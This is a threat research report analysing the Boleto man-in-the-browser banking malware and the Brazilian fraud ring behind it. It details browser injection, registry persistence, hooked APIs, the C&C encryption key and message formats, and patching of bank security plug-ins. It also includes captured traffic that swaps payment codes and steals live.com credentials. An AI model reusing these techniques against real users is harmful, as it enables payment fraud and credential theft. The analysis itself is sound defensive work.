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EXECUTIVE SUMMARY

Boleto malware is a fraud operation and financial threat targeting individuals and companies in Brazil that has appeared in recent years. The first signs of its existence appeared near the end of 2012 or early 2013, when it began to be reported in the local news media. The RSA Research Group analyzed version 17 of the malware, gathering data between March 2014 and June 2014.

The main goal of Boleto malware is to infiltrate legitimate Boleto payments from individual consumers or companies and redirect those payments from victims to fraudster accounts. Conventional crime represents 5% of losses incurred by Brazilian banks, but cybercrime dominates the financial losses, and this form of fraud has become one of the greatest threats to banks in the region.

Although not directly related to the Boleto payment systems, the malware also collects user credentials from Microsoft online email services such as live.com, hotmail.com and outlook.com. It appears that these stolen credentials are being used to support infection campaigns by spreading spam email.

The Boleto malware has been evolving with each version of the application, including improvements such as new targets, new features, and self-protection mechanisms.

<table>
<thead>
<tr>
<th>Boleto Malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>Malware family</td>
</tr>
<tr>
<td>Malware type</td>
</tr>
<tr>
<td>Discovery date</td>
</tr>
<tr>
<td>Platform/OS</td>
</tr>
<tr>
<td>MD5</td>
</tr>
<tr>
<td>SHA1</td>
</tr>
<tr>
<td>SHA256</td>
</tr>
</tbody>
</table>

KEY NUMBERS

- Evidence suggests that a fraud ring known as the Bolware operation affects more than 30 different banks in Brazil.
- The potential loss related to operations of this fraud ring have been estimated at up to R$ 8,572,513,355.59 ($3.75 billion USD). The monetary loss estimate is based on the discovery of 495,753 potentially fraudulent transactions, and tallying the sum of those transaction values. The actual amount the fraudsters were able to redirect to their accounts and were actually paid by the victims is unknown.
- RSA Research has been able to identify 8,095 unique fraudulent Boleto ID numbers (tied to a total 495,753 potentially fraudulent transactions) that the fraudsters have been using to steal and transfer money to their (mule) accounts.
- RSA Research has discovered 83,506 user credentials that were stolen and collected by the Boleto malware.
- The overall amount of infected PC bots (according to unique IP addresses) is 192,227.
WHAT IS A BOLETO?

Boleto Bancário, or simply Boleto, is a very popular payment method used in Brazil by individual consumers or companies that can be used to remit payment for a wide variety of goods and services. The payment method has similarities to various money order payments used in the United States.

Boleto issuing is regulated by FEBRABAN (Brazilian Federation of Banks) and SPB (Brazilian Payment System), which consists of a set of procedures and rules that support electronic transactions between financial institutions and the local market.

A Boleto is a financial document (a sort of invoice issued by a bank) that enables a customer (“sacado”) to pay an exact amount to a merchant (“cedente”). Anyone (individuals or corporations) who owns a bank account can issue a Boleto associated with their bank. Boletos can be generated offline (printed copies) and mailed to customers, or generated online (by online stores for example).

Below is an example of a Boleto that was generated offline by an institution and sent by regular mail to a customer:

Figure 1
Institution generated Boleto
The customer can pay the amount specified in the Boleto up to the due date at ATMs, branch facilities, lotto houses, post offices, bank teller/cashier and via electronic payment systems (internet banking). After payment is made by the customer, the bank transfers the amount owed by the customer to the merchant’s bank account. The Boleto includes a barcode, identification field, or an ID number field (numerical representation of the barcode) and some other information like document issue date, due date, merchant name, etc.

Below is an example of a Boleto that was generated online by an institution and sent to a customer:

![Online generated Boleto](image)

**BOLETO FRAUD**

Recently, Boletos have been used by fraudsters to carry out several kinds of attacks in Brazil. The most common attack is fake Boletos (in most cases payments to utilities such as electricity, water, telephone, etc.) that are generated offline by fraudsters, and sent to victims through social engineering (usually by e-mail spam or even regular mail). These altered Boletos look very similar to legitimate Boletos, however both the barcode and the ID number fields may be modified so that the payment will be redirected to a fraudster or mule’s bank account. On the other hand, fields such as due date, merchant’s identification and money value may remain unchanged, thus making the fraud very hard to notice.

A new and more sophisticated kind of fraud involving Boletos is Boleto malware, also known as Eupuds by some AV engines. This new threat is of the MITB (Man-in-the-browser) variety that attacks online operations and is based on transaction modification on the client side. The malware infects web browsers to intercept and modify Boletos by two different methods. In both cases, the Boleto information is modified so that the payment is redirected either to a fraudster’s account or a mule account. Since the malware is MITB, all malware activities will be invisible to both the user and the web application.
The Boleto is Generated Online on a Victim’s PC

When a customer buys a product or service in an online store, needs to pay bills, or even to pay their taxes from a vendor that accepts Boletos as payment, Boletos are generated by the vendors or institutions and are sent online to the customer. Once a customer receives the Boleto, they can choose where to pay it. Below are two examples of a user generating a Boleto in an online store.

In the first example, the user PC is not infected with the Boleto malware:

1. The customer uses their browser to enter an online store.
2. The Online store receives the request.
3. The online store sends back the Boleto data.
4. The Boleto is displayed in the customer’s browser.

In the second example, the PC is infected with the Boleto malware:

1. The customer (with an infected PC) uses their browser to enter an online store.
2. The online store receives the request.
3. The online store sends back the Boleto data.
4. The Boleto data is intercepted by the malware (actually intercepting all the browser communications). If a Boleto is detected by the malware, the data will be sent to the fraudster’s server, which modifies the Boleto data with a fraudster or mule bank account.
5. The modified Boleto data is sent to the customer’s browser and is displayed to the customer.
6. The payment is redirected.

Figure 3
Normal online Boleto transaction

Figure 4
Compromised online Boleto transaction
The results of the malware operation can be seen below.

The **legitimate** Boletos contain the merchant’s correct bank and account information as well as a functioning barcode:

<table>
<thead>
<tr>
<th>Figure 5</th>
<th>Legitimate original Boleto</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>![Figure 5 Image]</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Figure 6</th>
<th>Altered Boleto</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>![Figure 6 Image]</td>
</tr>
</tbody>
</table>

The **altered** Boleto contains the fraudster’s bank and bank account information instead of the legitimate data. Its barcode is also invalid, which forces the user to enter the ID number manually to make the payment:
Entering the Boleto ID Number Manually

Below is an example of a bank payment form that accepts manual input for the ID number:

When electronic payment is selected:

1. The customer manually fills out the bank’s payment form with the ID number.
2. The bank receives the information and transfers the amount from the customer to the payee, based on the provided Boleto information.

Figure 8
Normal transaction with manual completion of ID number
If the customer's PC has been infected with the Boleto malware:
1. The customer fills in the ID number.
2. The communication is intercepted.
3. The original ID number typed in by the customer is sent to the fraudster-controlled server and replaced.
4. An altered ID number is received by the bank, and the funds are transferred from the customer to the fraudster’s bank account.

**BOLETO FRAUD IS DIFFICULT TO DETECT**

Boleto fraud is very hard to detect from the customer’s point of view, for the following reasons:

- The ID number field does not include any understandable payee information that might help customers double-check the payee identity.
- When making a payment online, customers usually only verify the amount and due date information (they don’t check payee information).
- The malware often displays the original inputs in the validation screens, making it look authentic.

Banks struggle to detect the fraud for the following reasons:

- Transactions arrive from regular, well-known computers, IPs, and accounts.
- Boleto payment is highly popular in Brazil, and there are dozens of payments made by a customer each month.
MALWARE INSTALLATION

The malware relies on UPX to pack a compiled AutoIt script. The AutoIt script task is to inject binary code into a system process that will search for browser processes (such as Firefox, Chrome and Internet Explorer) in order to inject malicious code inside of them.

Figure 10
Sample analysis – AutoIt script

How the installation works:
1. If AvastSvc.exe is running, wait for 21 seconds.
2. Create a new process identical to it.
3. Unpack binary code to the memory and execute it.
4. Take a snapshot of currently executing processes in the system, and inject the binary code in the first process listed.
5. Terminate the original process.
6. The injected binary code waits for a browser (Firefox, Chrome or Internet Explorer).
7. When a browser runs, allocate memory in the browser memory space.
8. Copy the malicious code to the allocated memory space.
9. Create a remote thread in the browser, execute the malicious code that was injected.

INITIALIZATION

Right after the malware is unpacked and injected into the browser process memory, it creates 3 threads to perform the following operations:
1. Copies itself to the file system to maintain persistence, as a hidden file with random folder and filename under:
   C:\Documents and Settings\<username>\Application Data
2. Creates a new entry in Windows Registry to run automatically at the next system restart
   HKCU\Software\Microsoft\Windows\CurrentVersion\Run
3. Initializes Windows shared libraries, and creates hooks in communication APIs
API HOOKS

In order for the malware to be able to intercept system calls, it needs to install a set of hooks in DLL functions. These hooked functions are responsible for all communication of the browser.

<table>
<thead>
<tr>
<th>Function</th>
<th>DLL</th>
</tr>
</thead>
<tbody>
<tr>
<td>HttpSendRequestA</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>HttpSendRequestW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>InternetQueryDataAvailable</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>InternetReadFile</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>InternetReadFileExA</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>InternetCloseHandle</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>CreateProcessAsUserW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>CreateProcessW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>InternetWriteFile</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>HttpOpenRequestW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>PR_OpenTCPSocket</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>PR_Write</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>PR_Read</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>PR_Close</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>PR_OpenTCPSocket</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>PR_Write</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>PR_Read</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>PR_Close</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>ExitProcess</td>
<td>kernel32.dll</td>
</tr>
<tr>
<td>WSASocketW</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>WSASend</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>WSARecv</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>Closesocket</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>WSAGetOverlappedResult</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>recv</td>
<td>Ws2_32.dll</td>
</tr>
<tr>
<td>send</td>
<td>Ws2_32.dll</td>
</tr>
</tbody>
</table>

Using these hooks, each time a new message arrives from the network, the message is intercepted and new communication with the C&C is established so the malware can replace values in the Boleto inside the customer's browser.
SELF PROTECTION MECHANISMS

To protect the dropped files, the malware sets the Application Data folder attribute to hidden, which is a primitive way of protecting dropped malware components.

The main protection is actually found in the malware itself. The malware is an obfuscated and compiled AutoIt script, packed with UPX, making it a challenge to analyze and reverse engineer.

Application Persistence

To make itself persistent, the malware copies itself into the Application Data folder, and adds the following registry key to run at startup:

*RegKey: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\76e35fb1*

TRIGGERS

When communication between the browser and a server is initiated, it is intercepted by the malware that searches for specific strings to check if the information in transit is something the malware wants to capture.

The current version of the malware will *ignore* the following values (we have found evidence that previous versions would collect some of these values):

- .gif
- .jpg
- .jpeg
- .png
- .swf
- .flv
- .bmp
- facebook.com
- hotmail.com

The malware will *intercept data* if it contains the following values:

- Boleto
- pagador.com.br - a Brazilian online payment service
- segundavia - used when requesting a Boleto reissue
- 2via - used when requesting a Boleto reissue
- ?4798 - part of a Brazilian bank URL
- carrinho - shopping cart of an online store
- live.com - Microsoft’s user experience website

The triggers are encrypted with a one byte XOR encryption (0x42).
When a call is intercepted, the bank code is searched using a list of known (three digit long) Brazilian bank codes.

**NETWORK BEHAVIOR**

After the malware injects itself into the browser, it starts to intercept all the communication through the code hooks, searching for the triggers. Once a trigger is found, the malware can perform some actions depending on the trigger. It can search for bank codes and the ID number field in the HTML page to replace them if a Boleto was found, or it can search for live.com credentials in order to collect them.

All the communication between the malware and the C&C server is encrypted and sent and received through HTTP POST in the following format:

```
POST /index.php HTTP/1.0
Host: ___________________
Content-Type: application/x-www-form-urlencoded
Content-Length: 421
d22d74e-74fTe-wuGo3P-PoucIgIgTP6K721lI4u4u-I-AbrSwLx1Ia4a1TmW-6_Uyvhb2MuG6M-Ntrn5Lrur3ta1vpyG
uG6OLvLwVNGMOoNNyGogN12712j12Z-l-4eQog3127212rormLo7_elurs_MuQ9qF9BI_Tiruh3OTh-JW-M-
2vO6P1Ipf]lJeLTr7U6ezy2yoCj8pqxfmu6LNgncmNSPKhYe-6wtx5u2u4qjU06Fs4_TGm3WqQxyWfsCSe
71i6E OWXrz4yj7c8j0bzmIu1I1Pm JupKcJl-P11Yrj 41U7eyNLOLOI4Fh 4mU4 IbekeB5X6-
o685PyjhoXsjZTl-4uUSyLeb_j5Ho49nLuK3T9LmgZy7ipXfuPKH7K11GwJ_0gaxYw50o999M=HTTP/1.1
200 OK
Date: Tue, 13 May 2014 18:45:42 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.0-fips DAV/2 mod_bzlib/1.4
X-Powered-By: PHP/5.4.22
Connection: Close
Content-Type: text/html

4vqCkO34j7ZtortTItaTPybji5f9nY4KPK4WJn0Xsi3L1t_YOK4_qLk074m5Hk-IiT-
v5Le35oIT7I2U4uVloL7815rMn-4-
R60FZ7I7t9C5c0W56nPxrugvZ7j7g970tqXPmiu4s06uQx0dGxmo0j2c2zos73tgPXxerwzcMw4WV5_UCUjP-
i37t-ouU7Py0L-bajjJvh-ouU50keT8iZxi_lZT5PyloT9I2f5g-YeLoq331-rw2M6w8aO25vB-1-3_h4u3qd-a
```

The encryption mechanism consists of the application of an XOR transformation with the key **0xA4BCCD4** followed by a modified Base64 encoding, where characters '+' and '/' are replaced by '-' and '_', respectively. The malware may also obfuscate its encryption process by optionally adding random bytes (separated by the character '=') at the beginning of the data to be encoded, in order to change the padding during the modified Base64 encoding operation.

**Requests for Boleto replacement**

If the malware finds any information regarding the bank code or the ID number field of the Boleto, it sends a request to the server with the found information. The server then answers with the value that replaces the original value.

The HTTP POST that requests a replacement is sent to the address (this path can change for different versions of the malware):

```
http://<C&C IP address>/index.php
```
There are two cases in which the transaction is modified:

- **The Boleto is generated online** and then sent to the victim.
- **The victim fills out the bank form** and enters the ID number for payment manually.

In both cases, the bank code and ID number field are replaced by the malware.

**The Boleto is generated online**

In this case, the victim accesses a website that remotely generates a Boleto. The malware, acting as a MITB, intercepts the communication, replaces the original Boleto bank code and ID number fields with the fraudulent ones and retransmits them to the browser. An altered Boleto will then be displayed to the victim.

Below is an example of a request for a Boleto bank code replacement:

```plaintext
527f25db
<url>http://website.com.br/gerarboleto</url>
<version>17</version>
<browser>Google Chrome 34.0.1847.131</browser>
<userid>3</userid>
<ostype>Windows XP Service Pack 3 32-bits</ostype>
<bignumbola>0000</bignumbola>
<hRnVGzwYva>
```

Where:

- **527f25db** – random data
- **url** - url that is being accessed
- **version** – malware version
- **browser** – infected browser version
- **userid** – server side user id
- **ostype** – operating system type
- **bignumbola** – original bank code
- **hRnVGzwYva** – random data

The C&C server will process the request, replace the data, and send a response back to the infected browser. Below is an example of a C&C server response to replace a Boleto bank code:

```plaintext
6212946
<getbol></getbol>
<bignumbola>hRnVGzwYva</bignumbola>
<vars>
<ced>55470430</ced>
```

Where:

- **6212946** – random data
- **bignumbola** – modified bank code
Below is an example of a request for a Boleto ID number field replacement:

```xml
692b3ee8
[version]17[/version]
[browser] Google Chrome 34.0.1847.131 [/browser]
[userid]3[/userid]
[ostype]Windows XP Service Pack 3 32-bits[/ostype]
[bolahtml] 60670000012345[/bolahtml]
[final]</final>
rFLol1lW0d
```

Where:
- **692b3ee8** – random data
- **url** - url that is being accessed
- **version** – malware version
- **browser** – infected browser version
- **userid** – server side user id
- **ostype** – operating system type
- **bolahtml** – original typeable line
- **rFLol1lW0d** – random data

The C&C server will process the request, replace the data, and send a response back to the infected browser.

Below is an example of a C&C server response to replace a Boleto ID number field:

```xml
76708118
[bclahtml] 60670000012345[/bclahtml]
[getbol]</getbol>
[bignumbola]</bignumbola>
[vars]
[ced]92719969[/ced]
```

Where:
- **76708118** – random data
- **bolahtml** – modified typeable line
- **vars** – original typeable line

In both cases, the malware will do a `memcpy` to replace the bank code and ID number field in the original Boleto, according to the server’s response.
The victim fills out the bank payment form manually

In this case, the victim accesses a bank’s form and fills it out with the ID number field. This can be done for two purposes: to effectively pay the Boleto or to request the generation of a new Boleto (when the original one is expired).

The malware, acting as a Man-in-the-Browser (MITB), intercepts the communication, replaces the original Boleto ID number field (that has been typed by the victim) with the fraudulent one and retransmits it to the bank’s website. An altered Boleto will then be paid by the victim on the bank’s website.

Below is an example of a request for a Boleto ID number field replacement:

```xml
<url>
  http://www.
  jessj1on.id-0000Y6cGoYCT1FNeG2Gevd04h:15aocorh6
</url>

</version>17</version>
</browser> Firefox 3.5.1 </browser>
</userid>
<ostype>Windows XP Service Pack 3 32-bits</ostype>
<bol>isPaginaLinhaDigitavel=true</bol>
  boletoCobranca.identificacao.linhaCampo1=-6
  boletoCobranca.identificacao.linhaCampo2=-6
  boletoCobranca.identificacao.linhaCampo3=-6
  boletoCobranca.identificacao.linhaCampo4=-6
  boletoCobranca.identificacao.linhaCampo5=-6
  boletoCobranca.identificacao.linhaCampo6=-6
  boletoCobranca.identificacao.linhaCampo7=-6
  boletoCobranca.identificacao.linhaCampo8=606700000123456
  jcaptcha_response=72386
  continue.x=35
  continue.y=5
  l_captcha_key=-0.37603457417382-1400157555991
</bol>

</step>
</var>
</var>
</var>
</final>
N5rd64jth

Where:

- **32605376** – random data
- **url** - url that is being accessed
- **version** – malware version
- **browser** – infected browser version
- **userid** – server side user id
- **ostype** – operating system type
- **bol** – original typeable line by fields
- **vars** – original typeable line
- **N5rd64jth** - random data
Below is an example of a response for a Boleto ID number field replacement:

```
<bol>
    <tagbola>
        <span title="Codigo de barras">
            60670000012345
        </span>
    </tagbola>
    <tagbola id="boletoRegistradoOdaPForm_id58" class="info"></tagbola>
    <fechataghtml id="boletoRegistradoOdaPForm_id58"></fechataghtml>
</bol>
```

Where:
- **bol** – modified typeable line as fields
- **tagbola** – original typeable line

The response is a malformed XML, probably due to a server logic implementation bug.

**COLLECTING LIVE.COM CREDENTIALS**

The malware collects *live.com* credentials as well. The decrypted server request is stored in the C&C server and it looks like the following:

```
<userid>3</userid>
<url>
    http://login.live.com/opensignin/post.srf?v=wa=1.0&vkey=12&ct=1389977978&cr=554.6456.0&cm=MDL&v=pre=http://p2149login.live.com%2Fdefault.aspx%3cuid=10336id=54655m&tem=netnbsp=%amp%3e;mail%3e%61%64%64%79%74%65%73%41%6c%64%3e16bk=1339977977%uid=65153e034fc4499b55e2e1670ffed7</url>
```

Where:
- **ozkIaEmuI7** – random data
- **userid** – server side user id
- **URL** – URL that is being accessed
- **version** – malware version
- **hot** – *live.com* credentials (username / email and password)
The decrypted server response looks like this:

```
34098940
<getbol1>/getbol1>
<bignumbola>)/bignumbola>
<vars>/vars>
<ced>62474772</ced>
```

After the server response is received by the infected browser, victims are still able to use live.com resources normally, but their credentials have now been collected by the fraudster.

**BARCODE INVALIDATION**

In order for the malware to be effective for the general audience, it needs to alter the barcode. Otherwise, if the barcode remains unchanged, the victim can pay the Boleto using just the barcode, and the new altered information will be ignored.

If the barcode does not work, the victim will be forced to manually enter the ID number.

Usually, the barcode is generated in HTML format, and consists of a sequence of small figures representing the white and black lines. The malware uses a simple trick to invalidate the barcode - it searches for image HTML tags that are closed using the pattern starting with `"<"` and finishing with `"mg"`, and when it finds such a tag, it inserts an HTML comment inside in order to change the barcode (as seen in the example below).

![Figure 12](image.png)

*Figure 12*  
Altering the barcode string to invalidate it
EVASION OF CLIENT SIDE PROTECTIONS

There is a wide variety of end-point based client side protection solutions that are meant to protect customers during online bank operations. Many banks in Brazil use these solutions to protect their customers.

When customers access their online banking website for the first time, they are requested to install a security plug-in. When the customer installs the plug-in, a protection service is created and starts running on the PC. Some shared libraries are also installed on the system, and are loaded by the browser in order to help provide protection for customers during online banking operations.

A notable feature of the Boleto malware is that it searches for specific versions of client side security plug-ins, detects their shared libraries, and patches them in real-time, neutralizing their capabilities.

For example, in one specific case RSA Research analysts noticed that upon detection of one of these security solutions, the malware accessed the plug-in memory area, and modified a conditional JMP to a regular JMP operation, thus neutralizing the plug-in capabilities and presenting the user with a false sense of security.

The customer believes that he or she is protected because the security service is seen as running on their end-point device, however the plug-in is actually neutralized and doesn’t provide any real protection.

C&C SERVER INFRASTRUCTURE

The server side control panel allows the botmaster to manage the botnet and review compromised data. The main screen provides access to all server features, such as Boletos management and general administration screens:

Figure 13
Initial administration screen

Two screens list information about the compromised machines (IP address, browser and operating system versions) and the data captured from each of them (data and Boleto value). The screens also contain information about the server side user associated with the Boletos (username, Boleto type, and destination Boleto ID number field).
The first screen is supposed to manage Boletos associated with a server side specific user called stevejobs.

![Figure 14](image1.png)

**Figure 14**
Boleto management screen – example 1

The second screen stores information associated with all server side users. These screens also provide filtering functions (debug errors, hide false positives and identical values) and search functions (data, value, Boleto number, URL, malware version, Boleto type and server side username).

![Figure 15](image2.png)

**Figure 15**
Boleto management screen – example 2
The administration screen allows the server side users to manage their destination bank accounts (Fatura column), view a notice board, and the number of available Boletos per user:

Figure 16
Administration screen
The administration screen also contains a list of original Boleto numbers ("Bola Original") and their destination bank account ("Bola"), as well as other information such as IP address of infected machine, operation date, Boleto value and type, a flag to inform if the Boleto is used or not, and a command to delete an entry ("APAGAR")

The add Boleto screen allows the server side users to add a new destination bank account:

**Figure 17**
Admin screen displaying Boleto ID numbers and destination account numbers

**Figure 18**
Add Boleto screen
COMMUNICATION POINTS

These are the IP addresses of the C&C infrastructure:

216.246.98.4  
216.246.91.220  
216.246.91.221  
216.246.91.222  
216.246.91.223  
216.246.30.4  
216.246.30.5  
216.246.30.6  
216.246.30.7  
216.246.30.8  
216.246.30.9  
216.246.30.10  
216.246.30.11

Fraudster usernames:

| Mandoido | lyon |
| ph       | marco |
| primo2   | ninja |
| guerreiro| joao  |
| stevejobs| clients |
| primo    | princ |
| bala     | avisos |
| criss    | novoavis |
| dinho    | novoprin |
| grande   | zaaa |
STATISTICS RETRIEVED FROM THE SERVER

The data retrieved from the server provided us with a statistical picture of the Boleto malware and its victims.

The chart below shows the infected operating systems:

![OS usage chart]

Below is the distribution of infections according to web browser type:

![Browser usage chart]
The malware targets Brazilian residents and Brazilian citizens who live abroad who have the ability to generate a Boleto online and pay it through the Brazilian online banking system.

As shown in the map below, the malware is distributed nationwide, but is concentrated in the highly populated areas:

As many as 8,095 fraudulent Boleto ID numbers have been discovered so far, which fraudsters have been using to steal and transfer money from victim accounts to their own.
The following two charts show that the malware is infecting both the private sector and corporations, with a large number of low value Boletos (less than R$ 6,000.00) as well as all Boletos values.

**Low value Boletos** (less than R$ 6,000.00):

**Figure 22**
Number of Boletos compared with Boleto value – low amounts

**Higher value Boletos** (all values):

**Figure 23**
Number of Boletos compared with Boleto value – all values
According to the number of affected unique IP addresses observed, the estimated number of Bolware operation victims is **192,227**. The total value of all Boletos that were modified by this malware and are currently stored in the C&C server is estimated to be up to **R$8,572,515,355.59** ($3,753,946,994.04 USD or €2,760,517,477.32 Euro). However, it is important to note that this may not represent the actual amount fraudsters were able to redirect into their accounts as it is not known which Boletos were actually paid by the victims.

Another interesting thing to note is that Brazilians usually generate and pay Boletos during working days, which is illustrated in the Boleto activity charts presented below:

**Figure 24**  
Boleto activity concentration per day in the work week

**Figure 25**  
Boleto activity concentration by unique IP address

**Figure 26**  
Boleto activity concentration by transactions per day

**Figure 27**  
Boleto activity concentration by total value per day
The Boleto malware also collected **83,506 user credentials** (generally, the user names and passwords used to log in to email accounts and other online services) from several domains, as shown in the chart below. The high percentage of **hotmail.com** being targeted is most likely due to the high popularity of this online service in Brazil.

![Stolen credentials by domain chart](chart.png)

### COUNTER MEASURES

**RSA® FraudAction** service can help with shutting down Boleto infection points in the wild and blacklisting Boleto IDs. RSA FraudAction service provides a blacklist feed of all altered Boleto ID numbers by the Boleto malware. As fraudsters feed new Boleto IDs into the malware, RSA FraudAction service is designed to update the blacklist feed. The altered fraudulent Boleto IDs contain information that financial institutions can use to proactively block further payment of such Boleto and to track the account that received the fraudulent payment and prevent further payments to this account and cashing out.

**RSA® Security Analytics** can help only if the Boleto malware is on employee machines and not customers.

**RSA Security Analytics** will monitor all the communication to/from the organization to the Boleto malware C&C server, and can spot fraudulent activities by using Boleto IOCs that are in the RSA Live feed. The feed will be updated as needed, providing threat intelligence to organizations experiencing possible Boleto malware infection.

RSA LIVE feed info regarding Boleto fraud is as follows:

- **Feed**: RSA FirstWatch Command and Control IPs
- **Pivot**: threat.desc = c2-ip-bolware

**RSA® ECAT** can help only if the Boleto malware is on employee machines and not customers.

RSA® ECAT can detect the presence of Boleto malware on end user/employee devices based on the Boleto malware IOCs. While RSA Researchers have uncovered endpoint security evasion and bypass features in the Boleto malware, ECAT was still successful at detecting it. When this feature detects one of these security solutions, the malware accesses the plug-in memory area, and
modifies a conditional JMP to a regular JMP operation, thus neutralizing the plug-in security capabilities and presenting the user with a false sense of security.

**Recommended User Vigilance**

1. Double check the Boleto ID, using the following information that could help in detecting a fraudulent Boleto:
   - Compare the first 4 digits with previous Boletos from the same issuing company: these digits identify the destination Bank, and they will usually be the same every month.
   - For a given issuing company (e.g., a credit card bill or a Boleto from the kids’ school), compare the first half of Boleto digits (usually the first 21 digits) with previous payments from the same company, since these digits identify the payee’s destination account. These digits are usually the same from accounts that the user paid in previous months.

2. Avoid accessing websites that propose to generate new Boletos out of overdue Boletos. Please check with your bank the best process to pay an overdue Boleto.

3. As the malware does not alter the barcode (for now), the safest approach is to use mobile banking applications available on smart phones (for now, immune to this malware) to read the barcode and to make payments.

4. Try using the [Authorized Direct Debit (DDA)](https://example.com) method as much as possible to replace the traditional Boleto payment method.

5. Never trust emails that you aren’t expecting, don’t click on any suspicious links.

6. Be wary of websites that request personal information that they shouldn’t be asking for.

7. Download and install software patches periodically from reliable sources (preferably ask the software to update itself).

8. Install Anti-Virus software from a reliable source, verify it’s enabled and update it periodically.

9. Scan your PC with Anti-Malware software on a constant basis.

**CONCLUSION**

Boleto malware represents a large and intricate fraud operation and is a serious threat to individuals and financial institutions in Brazil. The Bolware fraud ring may not be as far-reaching as some larger international cybercrime operations, but it does appear to be extremely lucrative for its masterminds, infecting more than 192,000 victim PCs with an estimated total monetary loss value of up to $3.75 billion USD.

It appears that the malware developers have taken great care to make their crimeware effective at redirecting payments and hard to detect by security controls and analysts. Because of its stealth capabilities, end users also have little chance of detecting Boleto fraud on their own.

Given the discovery of this extensive operation, RSA is urging banks that process Boleto payments to implement security countermeasures such as network monitoring, filtering and blacklisting solutions to block known malicious IPs. Threat feeds and outside security monitoring services such as the [RSA® FraudAction](https://example.com) service can also be employed to monitor Boleto transactions and help banks block attempted fraudulent payments.

RSA has turned over its research along with a significant number of fraudulent Boleto ID numbers and IOCs (indicators of compromise) to both U.S. (FBI) and Brazilian law enforcement (Federal Police) and have been in direct contact with FEBRABAN’s anti-fraud council and its member banks. RSA is working together with these entities in the investigation while also helping to develop and/or advise on the implementation of various mitigation countermeasures within the many banks in Brazil that process Boletos.
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